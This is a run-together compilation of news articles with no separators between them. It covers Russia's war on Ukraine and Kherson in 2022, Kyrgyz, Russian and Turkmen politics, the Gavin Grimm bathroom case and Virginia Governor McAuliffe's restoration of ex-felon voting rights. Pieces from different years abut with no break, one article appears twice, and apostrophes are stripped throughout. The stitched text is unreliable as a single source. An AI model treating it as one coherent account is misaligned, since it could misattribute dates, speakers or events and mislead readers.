Relations between Ukraine and Russia soured after street protests in Kyiv toppled President Viktor Yanukovych, a Kremlin ally, in February 2014. Russia annexed Ukraine's Crimean Peninsula in March 2014 and threw its support behind separatists in the countrys east.
The OSCE Office for Democratic Institutions and Human Rights (ODIHR) has joined the April 21 call by the UN for Kyrgyz authorities to free a jailed rights activist.

In his statement on April 22, the ODIHR Director Michael Georg Link welcomed the UN Human Rights Committee's decision on Azimjan Askarovs complaint.

"Kyrgyzstan now has an opportunity to correct this injustice, restoring both Mr. Askarovs rights and its national human rights record in this regard," Link said.

Askarov, a Kyrgyz national of Uzbek origin, is serving a life sentence after being convicted of involvement in organizing deadly clashes between ethnic Uzbeks and Kyrgyz in southern Kyrgyzstan in 2010 and in the murder of a policeman who was killed during the violence.

More than 450 people, mostly ethnic Uzbeks, were killed in the clashes.

Askarov says he is innocent and that his conviction was retaliation for his human rights activism.
KYIV -- Ukrainian officials said vile Russian missile strikes on civilian energy sites have caused power outages nationwide, leaving more than a million households without electricity, while Russian authorities ordered residents to leave Kherson "immediately" ahead of an expected effort by Kyivs forces to retake the crucial southern city.

Live Briefing: Russia's Invasion Of Ukraine RFE/RL's Live Briefing gives you all of the latest developments on Russia's ongoing invasion, Kyiv's counteroffensive, Western military aid, global reaction, Russian protests, and the plight of civilians. For all of RFE/RL's coverage of the war, click here.

Ukrainian President Volodymyr Zelenskiy said on Telegram on October 22 that Russia carried out a "massive attack" on Ukraine overnight and that "the aggressor continues to terrorize our country."



"At night, the enemy launched a massive attack: 36 rockets, most of which were shot down...These are vile strikes on critical objects. Typical tactics of terrorists," he wrote. "The world can and must stop this terror."



Kyrylo Tymoshenko, deputy head of Zelenskiys office, said Ukrainian air defense forces had shot down 18 of the missiles.



Kyiv Mayor Vitali Klitschko said a number of missiles had been shot down on the approach to the capital.



"Several rockets flying toward Kyiv were shot down in the region by air defense forces. Thanks to our defenders!" Klitschko said.



There was no immediate word on deaths related to the missile attacks, but officials said several people had been injured.



It was not possible to verify the reports on either side.



In the face of continued Russian strikes, Foreign Minister Dmitro Kuleba again urged Ukraine's Western allies to speed up the delivery of modern air defense systems.



"We intercepted some, others hit the targets. Air defense saves lives. In [Western] capitals, there should not be a single minute of delay in the decision regarding air defense systems for Ukraine," Kuleba said.



Local officials said power stations were hit in the regions of Odesa, Kirovohrad, and Lutsk, while other regions reported problems with electricity.



"Another rocket attack from terrorists who are fighting against civilian infrastructure and people," the Ukrainian president's chief of staff, Andriy Yermak, wrote on the Telegram app.



Prime Minister Denys Shmyhal told a government meeting that from October 10 to October 20, Russian strikes damaged more than 400 facilities in 16 regions of Ukraine, including dozens of energy facilities.



"The Russian Army has identified our energy sector as one of the key targets for its attacks," Shmyhal said on October 21.



"Russian propagandists and officials speak openly about the purpose of all these attacks: Ukraine, according to them, should be left without water, without light, without heat," he said.



Meanwhile, Russian-appointed authorities in the occupied and illegally seized southern Kherson region on October 22 ordered the estimated 60,000 residents of the region's eponymous main city to leave "immediately" in the face of Kyiv's advancing counteroffensive.



"Due to the tense situation on the front, the increased danger of mass shelling of the city and the threat of terrorist attacks, all civilians must immediately leave the city and cross to the left bank of the Dnieper River," the region's Russia-backed authorities said on social media.

Russina-installed officials are moving people out of the strategic city in what they are calling an evacuation but which Ukrainian officials label as deportations.



The order came in spite of a claim by Russia's Defense Ministry on October 22 that its forces had prevented an attempt by Ukraine to break through its line of control in Kherson.



"All attacks were repulsed, the enemy was pushed back to their initial positions," the Defense Ministry said, adding that Ukraine's offensive was launched toward the settlements of Piatykhatky, Suhanove, Sablukivka and Bezvodne, on the west side of the Dnieper River.



The ministry's statement said Russian forces had also repelled attacks in the eastern regions of Luhansk and Donetsk.



Kherson city, which had a prewar population of 280,000, is one of the first urban areas occupied by Russia at the start of the invasion.



Zelenskiys office said 88 settlements in the southern Kherson region and 551 settlements in the northeastern Kharkiv region have been de-occupied, while the Ukrainian forces' counteroffensive in the Kherson region moves ahead.



Ukraine is trying to drive Russian forces in Kherson back east across the Dnieper. Russian soldiers on the western bank, where the city of Kherson is located, are reportedly close to being cut off from supply lines and reinforcements.



Natalya Humenyuk, a spokeswoman for Ukraines southern operational command, said the Ukrainian military struck the Antonivskiy Bridge over the Dnieper in the city of Kherson during an overnight curfew Russia-installed officials put in place to avoid civilian casualties.



We do not attack civilians and settlements," Humenyuk told Ukrainian television.



Ukrainian strikes made the Antonivskiy Bridge inoperable, prompting Russian authorities to set up ferry crossings and pontoon bridges to relocate civilians and transport supplies.



Russia has sent in thousands of recently mobilized troops to reinforce the defense of Kherson, the General Staff of Ukraine's armed forces said on October 21.



Zelenskiy again on October 21 urged the West to warn Russia not to blow up a dam at the Nova Kakhovka hydroelectric power plant on the Dnieper River as this could flood settlements toward Kherson.



Zelenskiy said Russian forces had planted explosives inside the dam, which holds back an enormous reservoir, and were planning to blow it up.



"Now everyone in the world must act powerfully and quickly to prevent a new Russian terrorist attack. Destroying the dam would mean a large-scale disaster," he said in his nightly address.

With reporting by Reuters, AFP, AP, and the BBC
Russia's lower house of parliament has endorsed Tatyana Moskalkova, a retired senior police officer, as the countrys new presidential human rights ombudswoman.

In a secret ballot at the State Duma on April 22, 323 lawmakers backed Moskalkovas candidacy, with 11 voting against and one abstaining.

There were five other candidates for the post.

Moskalkova, a police general and lawmaker from the Kremlin-friendly A Just Russia party, took the oath of office after the vote.

She replaces Ella Pamfilova, who was picked as the new head of Russia's Central Election Commission earlier this month.

In a March 30 statement, the opposition Yabloko party, which doesnt hold seats in parliament, urged lawmakers to reject Moskalkova's candidacy, calling it a mockery of common sense.

Based on reporting by TASS, Interfax, and AP
So yesterday we learned that Vladimir Putin's new National Guard force may be given legal permission to open fire on crowds in the event of mass unrest.

According to a statement from the State Duma's Defense Committee that was leaked to the media, in the event of terrorist attacks, hostage crises, mass unrest, or attacks on state property "the risk of harming random individuals would be justified."

So now, not only does Russia now have a Praetorian Guard that answers to Putin alone.

Not only will this elite force be led by Putin's former bodyguard and longtime crony Viktor Zolotov, one of the most hawkish members of the president's inner circle -- and let's face it, that's a pretty high bar.

Now Putin's personal army will apparently be permitted to fire its weapons on crowds of civilians.

For years now, Putin and his cronies have been droning on about the specter of revolution and the threat of fifth columnists in Russia.

And we mostly dismissed this as just a cynical ploy to maximize their power.

But now the Putin regime appears to believe that the threat is actually real, and it is putting together a tool kit to crush it brutally.

This week began with Investigative Committee chief Aleksandr Bastrykin making the clearest call yet for a restoration of all-out Soviet-style repression.

And it is ending with the Duma proposing that Putin's Praetorian Guard be allowed to fire its weapons on unarmed civilians.

Despite its bluster, this regime is clearly frightened. And that just makes it all the more dangerous for its own people and the rest of the world.

Keep telling me what you think on The Power Vertical's Twitter feed and on our Facebook page.
ON MY MIND

How bad does Russia want a Cold War? Pretty bad, apparently. Up until now, the Kremlin had presented its conflict with the West as a great power struggle. But in an article in the Kremlin mouthpiece Izvestia today, foreign affairs analyst Sergei Karaganov argues that the root of the conflict is actually ideological. It's the West's laissez faire capitalism and permissive social norms versus Russia's authoritarian state capitalism and defense of traditional values.

Now, Moscow has certainly tried to use these issues to gain advantage, like with its financing of xenophobic far-right parties in Europe, for example. But to suggest that Russia's conflict with the West is ideological, a la the Cold War, is nonsense. There is a normative aspect, but it essentially pits the West's relatively transparent system against Russia's opaque authoritarian kleptocracy.

If Russia has an ideology, it is corruption.

IN THE NEWS

The State Duma has confirmed retired police officer Tatyana Moskalkova as the Kremlin's new human rights ombudswoman.

The Duma is also due to vote on a bill that would punish lawmakers who miss more than 30 days of parliamentary sessions.

The United States has called on Russia to reverse its ban on the Crimean Tatar Mejlis.

The incoming NATO commander, U.S. General Curtis Scaparrotti, is calling for a permanent U.S. combat brigade in Europe.

Talks reportedly continue on exchanging Ukrainian military pilot Nadia Savchenko for two Russian soldiers.

WHAT I'M READING

The Economists Vs. The Siloviki

On his blog on The Wilson Center's website, Maxim Trudolyubov, editor at large of Vedoosti, argues that the debate about how Russia should deal with its current crisis boils down to "Hard Work Vs. Magic."

Here's the money graf: "Technocrats see reasons for domestic failures originating in domestic issues and seek to find internal cures for the economys ailments. They live in the world of global economic processes and would like to see a competitive and developed Russia. Heavyweights stress the importance of external factors and seem to believe that once the designs of foreign evildoers are revealed and rebuffed, the economy will fix itself. They operate under a war mentality and would like to stay in power at all costs.

Whereas economic technocrats speak of the investment climate and taxes, the Kremlin policymakers speak of international deals that would push oil prices back to their former highs. Whereas technocrats are trying to promote business-friendly policies and international integration, heavyweights see every economic problem as a manifestation of the United States 'hybrid war' against Russia and seek retaliation."

Talkin' 'Bout A Revolution

In a piece in Intersection magazine looking at the formation of a new National Guard and Putin's reorganization of the security services, Tatiana Stanovaya asks: "Are the Russian authorities ready for revolution?"

"The Kremlin is devising a new tool kit based on the fact that revolutionary attempts in Russia are not only possible, but probable. The line between the systemic and nonsystemic fields becomes much more pronounced and the attitude of the authorities to these two political sectors, highly polarized. One can manage the former, but only fight the latter," Stanovaya writes.

The Countdown To Warsaw

NATO's summit in Warsaw is more than two months away, but a picture is already emerging about what will be decided at what is shaping up to be a historic event.

Veteran Kremlin-watcher Edward Lucas, senior vice president of the Center for European Policy Analysis, writes that the notion of "persistent rotation is all but agreed upon," which means "quite large numbers of U.S. and other foreign troops regularly moving in and out of the front-line states.

On the War On The Rocks blog, David A. Shlapak and Michael W. Johnson of the RAND Corporation argue that NATO is "outnumbered, outranged, and outgunned" in Europe.

Kudrin's Perestroika Dreams

Slon.ru has published a transcript of former Finance Minister Aleksei Kudrin's speech this week at the Higher School of Economics in Moscow, where he called for a new perestroika.

Political analyst Kirill Rogov explains why Kudrin's new job as chair of the Kremlin's top economics think tank, the Center for Strategic Reform, is nothing but window dressing.

Optimism Vs. Pessimism On Ukraine

Should we be optimistic or pessimistic about the new Ukrainian government led by Prime Minister Volodymyr Hroysman? The Atlantic Council's website has another one of its point-counterpoint packages that is worth reading.

John Herbst, the former U.S. ambassador to Ukraine and the current director of the Atlantic Council's Dinu Patriciu Eurasia Center, explains why he is upbeat.

And Sergii Leshchenko, a member of the Ukrainian parliament and former deputy editor of the newspaper Ukrayinska Pravda, makes the case for pessimism.

The Ideological War

Writing in the Kremlin mouthpiece Izvestia, Sergei Karaganov argues -- not very convincingly -- that Russia and the West are engaged primarily in an ideological battle.

U.S.-Russia Relations After Obama

The Brookings Institution's Michael O'Hanlon looks at U.S.-Russia relations after Barack Obama leaves office in January 2017.

More On The Dutch Yukos Ruling

Foreign Policy's energy correspondent Keith Johnson has a piece on the aftermath of the Dutch ruling in the Yukos shareholders' case

Russia's IT Deficit

Writing in the official government newspaper Rossiiskaya Gazeta, Deputy Prime Minister Dmitry Rogozin says Russia must develop its own IT sector.

"It's time for Russia programmers to move away from the humble imitation of foreign counterparts to creating original software that is the best in the world," Rogozin wrote.

E-stonia As The Anti-Russia

The Guardian's Andrew Keen has a piece on how Estonia is using technology to rebrand itself as the anti-Russia.

A Kinder and Gentler Bastrykin?

Apparently, Investigative Committee chief Aleksandr Bastrykin isn't only about repression. According to this report from Novaya Gazeta, he met with musician Boris Grebenshikov to discuss charity.

Russia's Military Staying Power

According to this piece in Foreign Policy, the Pentagon estimates that Russia can continue fighting in Ukraine and Syria for two more years.

And Finally, I Promote Some Of My Friends' Work...

If you like The Morning Vertical, you'd also probably like a new newsletter from my good friend Sean Guillory, author of Sean's Russia Blog and host of the SRB Podcast. Subscribe here!

Meanwhile, the Hudson Institutes Kleptocracy Initiative will host the English-language premiere of the film Who Is Mr. Putin? on April 27 in Washington, D.C.
The head of Turkmenistans presidential administration, Shamukhammet Durdylyev, and officials at the Ashgabat mayors office are probably very nervous these days. Turkmen President Gurbanguly Berdymukhammedov reprimanded them at a cabinet session on April 15. A presidential reprimand is the vocational equivalent of a death sentence in Turkmenistan in the best of times, and these are far from the best of times.



Turkmenistan, which mainly exports natural gas, is experiencing difficult economic times as are all the countries in Central Asia. Added to that are concerns about increased fighting just over the border in Afghanistan, something the Turkmen government has been very reluctant to address publicly.



Someone needs to take the blame for these mounting problems, but in Turkmenistan the president is not only all-powerful, he is infallible. It is never the fault of the top man. So its been open season on officials this year, more so than ever before.



The illustrious Dr. Luca Anceschi and I were going back and forth on Twitter about these dismissals not long ago and we agreed to keep track of who and how many officials were being sacked. So Dr. Anceschi, to use a poker term, Ill open.



Palvan Taganov had been the deputy prime minister in charge of the presidential apparatus and the cabinet of ministers since September 2013. Berdymukhammedov sacked Taganov on February 5 this year, telling the fallen official, Work discipline has weakened at the ministries and departments under your supervision. Cases of bribe-taking have been observed among top level officials, especially in the structures of the Ministry of Trade and Foreign Economic Relations.



And since public humiliation has long been part of dismissals in Turkmenistan, Berdymukhammedov added, You can get out right now.



Taganov was reportedly arrested a few days later. His replacement was Durdylyev, the reprimanded official at the start of this article.



And those top level officials in the Ministry of Trade and Foreign Relations?

Deputy Minister of Trade and Foreign Relations Resulmyrat Meredov was fired on February 2, before Taganov. Minister of Trade and Foreign Relations Bayar Abaev was fired on April 8 along with Economy and Development Minister Yoldosh Sheripov, and the head of the tax agency Shatlyk Khummedov. Strangely, Berdymukhammedov then said the economy had done well in the first quarter of 2016.



On March 2, Minister of National Security Guychgeldi Khojaberdiev asked to be excused from his position for health reasons, though there were already rumors he was about to be dismissed after Berdymukhammedov criticized his work in early January. He had only been in the position since October 2015, after serving as head of Berdymukhammedov's personal security service. Berdymukhammedov agreed to Khojaberdievs request, then dismissed Border Guard Service chief General Myrat Islamov, and reprimanded deputy Interior Minister Yazdurdy Soyegov and chairman of the State Migration Service Meylis Nobatov.



In early January, Berdymukhammedov sacked Labor and Social Protection Minister Bekmyrat Shamyradov and relieved Minister of Industry Saparmurat Orazmyradov in connection with the latters transfer to another [unnamed] post. During that same round of dismissals, Oil and Gas Minister Muhammetnur Halylev was also relieved of his post and the governor of Lebap Province was fired.



Justice Minister Begmyrat Muhamedov was reprimanded in mid-January but has not been sacked yet.



Among other officials who have been fired this year are head of the state statistics agency Akmyrat Mammedov (March), Deputy Prime Minister for Cultural Affairs Maysa Yazmukhammedova (April), Ashgabat Deputy Mayor G. Garaev (April), the Ashgabat police chief (February), and 12 district heads (January).



Among those with the Sword of Damocles hanging over their heads are Minister of Community Services Kakageldi Gurbanov, Ashgabat Mayor Myratniyaz Abilov, and the Ashgabat prosecutor-general -- all reprimanded in February -- and the head of the counternarcotics agency, the head of state TV, radio and cinematography, and the head of the state certification agency -- all reprimanded in January.



And those are only the higher-ranking officials. Hundreds of other employees, maybe more, of ministries and state agencies and services have been fired also.



And this all happened in the first 110 days of this year. There are more than 250 days left.

Muhammad Tahir and Toymyrat Bugaev of RFE/RL's Turkmen Service contributed to this report
UN Secretary-General Ban Ki-Moon's tour of the southern Caucasus was postponed because of his involvement in negotiations to end the wars in Yemen and Syria, UN officials said.

Ban had planned to visit Armenia, Georgia, and Azerbaijan from April 23-27, but he will have to reschedule the trip because of "mandatory" matters he must attend to in the UN-sponsored peace talks, a UN official told Interfax on April 21.

The Georgian Foreign Ministry said Ban's planned visit to Tbilisi on April 23 was postponed and a new date would be set later.

The UN chief's visit to the region was originally scheduled after a flare-up in fighting between Armenia and Azerbaijan over Nagorno-Karabakh, a mainly ethnic Armenian region inside Azerbaijan.

A cease-fire halted four days of fierce fighting between Karabakh separatists and Azerbaijani forces on April 5, but sporadic shooting still occurs.

Based on reporting by Interfax
April 26, 2018, marks 32 years since the accident at the Chernobyl nuclear power plant in Ukraine. Three former Chernobyl engineers returned to their workplace in 2016, accompanied by RFE/RL journalists. For Arcadia Uskova and Oleksiy Breusa, it was not their first visit back. For Oleksandr Cheranov, however, the visit marked the first time he had stood inside the power plant since April 26, 1986, when the fourth block of the reactor was destroyed in the world's worst civilian nuclear disaster.



(Originally published on April 22, 2016)
Police are investigating after a Henrico County resident exchanged gunfire with an intruder Thursday.

Police were called about 8 p.m. to the 7700 block of Patterson Avenue for a report of gunshots. The resident told police he returned fire after an intruder entered his home and shot at him.

No one was hit during the exchange, and the intruder left the scene.
The Gloucester County School Board wants the entire 4th U.S. Circuit Court of Appeals to hear its case for keeping a transgender high school student from using the boys bathroom.

The board will ask the full 15-judge court to take up the case after a 2-1 decision Tuesday found in favor of the student, Gavin Grimm.

The odds are slim, though, for the entire court to take up the case, which has national implications.

Those are extremely rare, I think fewer than five a year, said Carl Tobias, a professor at the University of Richmond School of Law. Theyre resource-intensive, youre involving all 15 judges and they often defer to their colleagues on the three-judge panel.

For the full court to take the case, a majority of judges have to agree to hear it.

Another factor possibly influencing the judges is that the case is not really settled yet.

Tuesdays ruling overturned a district courts denial of a preliminary injunction, saying the lower court judge was guided by erroneous legal principles. And the court ruled that Grimms lawyers could reinstate a claim that the School Boards bathroom policy violates federal sex discrimination law.

The panels ruling means the district court will now hear the case again. Tobias said this means the whole court may prefer to hear the case after the district judge rules and the panel has reviewed that decision.

If the full court declines to hear the case, the School Board could appeal to the U.S. Supreme Court, which is unlikely to take it for a similar reason.

The appellate courts ruling establishes legal precedent in every state in the 4th Circuit, including North Carolina, which faces a lawsuit challenging a new state law requiring transgender people to use the public bathroom that corresponds to the sex listed on their birth certificate.

Tobias said something that could sway some judges toward hearing Grimms case is Judge Paul V. Niemeyers strong dissent

Niemeyer wrote the panels ruling completely tramples on all universally accepted protections of privacy and safety that are based on the anatomical differences between the sexes.

Grimms case stems from a 2014 School Board policy that designates bathrooms to a students specific biological gender and allows for unisex bathrooms.

Grimm, according to court records, refused to wear girls clothes as a child and at 12 acknowledged his male gender identity to himself.

By the time he got to his freshman year in high school, Grimms friends were aware of his decision. He told his family in April 2014.

That August, his mother notified Gloucester High School that Grimm is transgender and had legally changed his name. Grimm, who has a twin brother, and his mother then met with the schools principal and guidance counselor to talk about his transition. Teachers were notified about the name change and his desire to be referred to by male pronouns.

Grimm, at first, feared how other students might react to his transition and agreed to use the bathroom in the nurses office.

When the 2014-15 school year began, Grimm asked for permission to use the boys bathroom. The schools principal agreed and, for seven weeks, Grimm used it without issue.

However, court records show that some community members disapproved and asked the School Board to prohibit him from using the boys bathroom.

Soon after the board approved the policy, Grimm, aided by the American Civil Liberties Union, sued and asked for an injunction.

The injunction would have allowed Grimm to use the boys restroom as his lawsuit against the countys School Board worked its way through the court system.

At a hearing in July, U.S. District Judge Robert G. Doumar dismissed Grimms Title IX claim and denied his request for a preliminary injunction, according to court papers.

The judge eventually found that Grimms sex was female and that requiring him to use the girls bathroom did not impermissibly discriminate against him on the basis of sex in violation of Title IX, court papers say.

Title IX is the 1972 law that prohibits sex discrimination in education.

The three-judge panel ruled in Grimms favor on Tuesday and Gloucesters School Board decided to ask the full court of appeal to hear its case Thursday evening.

The board understands that the claims were sent back to the district court for further consideration and that no injunction was granted by the court, School Board Chairman Troy Andersen said in a statement Friday morning. After considering the opinions of the 4th Circuit Panel, it is the school boards unanimous decision to file a petition for an en banc hearing with the 4th Circuit Court of Appeals.

David Corrigan, a Richmond attorney representing the School Board, said neither he nor his client would comment further.
Gov. Terry McAuliffe signed an executive order Friday restoring the voting rights of 206,000 ex-felons, a sweeping action the governor said was aimed largely at rectifying Virginias long and sad history of suppressing African-American voting power.

The move, coming in a presidential election year, outraged Republicans who accused McAuliffe of abusing his power to help longtime ally Hillary Clinton win a battleground state by putting more likely Democratic voters on the books.

The governors order applies to all violent and nonviolent felons who had finished their sentence and supervised release as of Friday, even those who have not applied for a restoration of rights. Previous Virginia governors have restored rights on an individual basis, but none has done it for an entire category of offenders with one pen stroke.

The order stops short of creating automatic restoration of rights for all ex-offenders, because McAuliffe will have to sign similar orders on a monthly basis moving forward. Still, the order is a historic shift away from Virginias policy of lifetime disenfranchisement for those convicted of serious crimes.

We benefit from a more just and accountable government when we put trust in all of our citizens to choose their leaders, McAuliffe said Friday from the steps of the state Capitol, where a gospel choir warmed up a jubilant crowd. It has taken Virginia many centuries, unfortunately, to learn this lesson. But today, we celebrate its truth.

The action, which comes just days after the General Assembly wrapped up the 2016 legislative session, has the potential to expand the states voter rolls, currently estimated at about 5.4 million, by as much as 3.8 percent.

Virginia is one of 10 states that do not automatically restore rights upon completion of a felony sentence and one of only four states that require an application by the felon and action by the governor, according to the McAuliffe administration, which cited research showing one of every five African-Americans of voting age in Virginia has lost the right to vote.

Supporters praised McAuliffe for what they characterized as a bold step that will give ex-offenders a chance to fully participate in civic life. Opponents called it a potentially unconstitutional overreach that will further strain the relationship between the governor and the Republican-controlled legislature.

Schapiro: McAuliffe uses executive power to paint Virginia blue McAuliffe's surprise announcement has Republicans seeing red - not just the partisan color-code variety - and is certain to make Virginia's already-bitter politics more so.

In his speech, McAuliffe anticipated a strong response from Republicans, who said the orders lack of distinction between violent crimes and less serious offenses will give murderers and rapists the right to vote, serve on juries, hold public office and notarize documents.

There may be some individuals who will try and demagogue this issue and will make reckless accusations, McAuliffe said. Our action today does not pardon or change the sentence for any man or woman affected by this plan. These individuals have completed their sentences. They have atoned for their actions.

Ex-offenders affected by Fridays order must register to vote before participating in elections. Several Democratic-aligned organizing groups were in the crowd for Fridays announcement, registering some attendees on the spot.

Speaker of the House William J. Howell, R-Stafford, blasted the order as a political ploy to boost Democrats chances in November.

The singular purpose of Terry McAuliffes governorship is to elect Hillary Clinton president of the United States, Howell said. This office has always been a steppingstone to a job in Hillary Clintons Cabinet.

Considering that the entire General Assembly was in session just two days ago, the timing of this action should give all legislators pause, said Senate Majority Leader Thomas K. Norment Jr., R-James City. Perhaps this governor does not expect to have to work with the General Assembly next session, as he might be planning on an appointment to an office headquartered in a different capital city.

Clinton praised the move on Twitter, saying: Proud of my friend (Terry McAuliffe) for continuing to break down barriers to voting.

With Virginians choosing a new governor in 2017, McAuliffes successor could choose not to continue the policy.

I believe in redemption and reconciliation and that a review of restoration of rights for nonviolent felons whove paid their debt to society deserves debate, but this sweeping action benefiting convicted rapists, murderers and child molesters is a reckless abuse of executive power, said Ed Gillespie, a GOP gubernatorial hopeful and former chairman of the Republican National Committee.

McAuliffes order does not restore firearm rights. The ability to purchase and own a gun still would require court action.

The ACLU of Virginia, which has pressed several governors on the issue, said McAuliffes action matched our hopes and exceeded our expectations.

Todays executive order reflects the governors recognition that the depth of disenfranchisement in Virginia and its deep roots in Virginias Jim Crow past required bolder executive action for progress to be made, said Claire Guthrie Gastanaga, executive director of the ACLU of Virginia.

The governor said he ensured he was on solid legal and constitutional grounds, but Republicans pointed to a 2010 letter to the ACLU from an attorney for Gov. Timothy M. Kaine, a Democrat, stating that a blanket restoration of rights would amount to a troubling rewrite of state law and the Constitution.

McAuliffe said he consulted with Attorney General Mark R. Herring and A.E. Dick Howard, an expert on the Virginia Constitution and professor at the University of Virginia School of Law.

In an interview, Howard said unequivocally that McAuliffe has the authority to restore rights for a large group rather than an individual.

There is simply no question about that, Howard said.

He also spoke of the historic significance of the occasion in relation to Virginias 1901-1902 constitutional convention, which set up poll taxes, literacy tests and disenfranchisement for felons as barriers for African-American participation.

Today, the last ghost of the 1902 convention was buried, Howard said.

Levar Stoney, a Richmond mayoral candidate who worked with McAuliffe to restore rights for 18,000 ex-offenders as secretary of the commonwealth, read a quote from then-legislator Carter Glass about the voting plan adopted at the 1902 convention.

This plan will eliminate the darkey as a political factor in this state in less than five years, so that in no single county will there be the least concern felt for the complete supremacy of the white race in the affairs of government, Stoney said as he introduced the governor. Public service, he said, is about giving voice to the voiceless and righting the wrongs.

Speaking in the former capital of the Confederacy, McAuliffe and others drew parallels to the Civil War.

Not long after President Abraham Lincoln celebrated emancipation with former slaves gathered not 20 yards from where Im standing, Virginia initiated a campaign of intimidation, of corruption, of violence aimed at separating African-Americans from their constitutional right to vote, McAuliffe said.

Previous governors have said they thought a wholesale restoration of rights would require a change to the Virginia Constitution, but recent governors have found ways to accelerate and accomplish part of the goal through an exercise of executive authority.

Gov. Mark R. Warner, a Democrat, took steps to simplify the cumbersome process, which could take years to initiate and months to complete. Kaine shortened the waiting period for those released from prison before applying for a restoration of rights.

Gov. Bob McDonnell, a Republican, made prisoner re-entry and rehabilitation a priority of his administration. He reduced the processing time of restoration applications and automatically restored rights on an individual basis to nonviolent felons who had completed their sentence, probation and paid their court costs and fines, resulting in restoring the rights of more than 6,800 Virginians.

The McAuliffe administration simplified and dramatically accelerated the process, reducing the application to one page from 13 and shortening from five years to three years the time period in which a felon must wait to apply for reinstatement.

The current administration also removed drug offenses from the list of those considered violent felonies not eligible for restoration and said rights can be restored even if a felon has not completed payment of court fees and restitution.

Speaking to reporters, McAuliffe denied that the order was motivated by the presidential race and said he had not thought about the political impact.

Theres elections every year in Virginia, McAuliffe said. So one year versus another doesnt really matter.

He also said he saw no need to distinguish between violent and nonviolent crimes.

You cant be a second-class citizen. Once youve paid your time, theres no difference to me, McAuliffe said. We want you back. We want you to be a productive member of society.

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Few Virginians remember the last gubernatorial election with fondness. Voters held both Republican Ken Cuccinelli and Democrat Terry McAuliffe in low esteem. McAuliffe fared somewhat better: 38 percent of likely voters viewed him favorably and 38 percent viewed him negatively. Cuccinellis favorable/unfavorable split was 34/51.

The result was an election in which large numbers of voters cast ballots against a candidate, rather than for one.

Well, get ready for the same thing all over again.

No matter who wins the Republican nominating contest, the presidential race is shaping up as another contest between unlikables.

Hillary Clinton, who seems to have the Democratic nomination sewn up, is viewed favorably by 46 percent in a recent poll. Fifty-two percent view her unfavorably, and of those, 41 percent feel that way strongly (this contrasts with only 17 percent who views of her are strongly favorable).

Yet she still comes out ahead of Donald Trump, who has a 67 percent unfavorable rating  and a 53 percent strongly unfavorable rating. Thirty-one percent view him favorably.

Ted Cruz doesnt look a whole lot better. Thirty-six percent view him favorably; 53 percent view him unfavorably, including 33 percent whose views are strongly unfavorable.
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The Harrison Museum of African American Culture in Roanoke will open a new photography exhibition 3 p.m. Sunday. Moments in Time contains significant moments in history captured over a 41-year career by freelance photographer and Washington, D.C., native Milton Williams. The show includes a portrait of President Jimmy Carter standing beside Pope John Paul II, a reunion shot of the plaintiffs in the civil rights-affirming Brown v. Board of Education, Topeka, Kansas, case, and others.
Gov. Terry McAuliffe signed an executive order Friday restoring the voting rights of 206,000 ex-felons, a sweeping action the governor said was aimed largely at rectifying Virginias long and sad history of suppressing African-American voting power.

The move, coming in a presidential election year, outraged Republicans who accused McAuliffe of abusing his power to help longtime ally Hillary Clinton win a battleground state by putting more likely Democratic voters on the books.

The governors order applies to all violent and nonviolent felons who had finished their sentences and supervised release as of Friday, even those who have not applied for a restoration of rights. Previous Virginia governors have restored rights on an individual basis, but none have done it for an entire category of offenders with one pen stroke.

The order stops short of creating automatic restoration of rights for all ex-offenders, because McAuliffe will have to sign similar orders on a monthly basis moving forward. Still, the order is a historic shift away from Virginias policy of lifetime disenfranchisement for those convicted of serious crimes.

We benefit from a more just and accountable government when we put trust in all of our citizens to choose their leaders, McAuliffe said Friday from the steps of the state Capitol, where a gospel choir warmed up a jubilant crowd. It has taken Virginia many centuries, unfortunately, to learn this lesson. But today, we celebrate its truth.

The action, which comes just days after the General Assembly wrapped up the 2016 legislative session, has the potential to expand the states voter rolls, currently estimated at about 5.4 million, by as much as 3.8 percent.

Virginia is one of 10 states that do not automatically restore rights upon completion of a felony sentence and one of only four states that require an application by the felon and action by the governor, according to the McAuliffe administration, which cited research showing one of every five African-Americans of voting age in Virginia has lost the right to vote.

Supporters praised McAuliffe for what they characterized as a bold step that will give ex-offenders a chance to fully participate in civic life. Opponents called it a potentially unconstitutional overreach that will further strain the relationship between the governor and the Republican-controlled legislature.

In his speech, McAuliffe anticipated a strong response from Republicans, who said the orders lack of distinction between violent crimes and less serious offenses will give murderers and rapists the right to vote, serve on juries, hold public office and notarize documents.

There may be some individuals who will try and demagogue this issue and will make reckless accusations, McAuliffe said. Our action today does not pardon or change the sentence for any man or woman affected by this plan. These individuals have completed their sentences. They have atoned for their actions.

Ex-offenders affected by Fridays order must register to vote before participating in elections. Several Democratic-aligned organizing groups were in the crowd for Fridays announcement, registering some attendees on the spot.

Speaker of the House Bill Howell, R-Stafford, blasted the order as a political ploy to boost Democrats chances in November.

The singular purpose of Terry McAuliffes governorship is to elect Hillary Clinton president of the United States, Howell said. This office has always been a steppingstone to a job in Hillary Clintons Cabinet.

Considering that the entire General Assembly was in session just two days ago, the timing of this action should give all legislators pause, said Senate Majority Leader Thomas Norment , R-James City. Perhaps this governor does not expect to have to work with the General Assembly next session, as he might be planning on an appointment to an office headquartered in a different capital city.

Clinton praised the move on Twitter, saying: Proud of my friend [Terry McAuliffe] for continuing to break down barriers to voting.

With Virginians choosing a new governor in 2017, McAuliffes successor could choose not to continue the policy.

McAuliffes order does not restore firearm rights. The ability to purchase and own a gun would still require court action.

The ACLU of Virginia, which has pressed several governors on the issue, said McAuliffes action matched our hopes and exceeded our expectations.

Todays executive order reflects the governors recognition that the depth of disenfranchisement in Virginia and its deep roots in Virginias Jim Crow past required bolder executive action for progress to be made said Claire Guthrie Gastanaga, executive director of the ACLU of Virginia.

The governor said he ensured he was on solid legal and constitutional grounds, but Republicans pointed to a 2010 letter to the ACLU from an attorney for Gov. Tim Kaine, a Democrat, stating that a blanket restoration of rights would amount to a troubling rewrite of state law and the Constitution.

McAuliffe said he consulted with Attorney General Mark Herring and A.E. Dick Howard, an expert on the Virginia Constitution and professor at the University of Virginia School of Law.

Previous governors have said that they thought a wholesale restoration of rights would require a change to the Virginia Constitution, but recent governors have found ways to accelerate and accomplish part of the goal through an exercise of executive authority.

Gov. Mark Warner, a Democrat, took steps to simplify the cumbersome process, which could take years to initiate and months to complete. Kaine shortened the waiting period for those released from prison before applying for a restoration of rights.

Gov. Bob McDonnell, a Republican, made prisoner re-entry and rehabilitation a priority of his administration. He reduced the processing time of restoration applications and automatically restored rights on an individual basis to nonviolent felons who had completed their sentence, probation and paid their court costs and fines, resulting in restoring the rights of more than 6,800 Virginians.

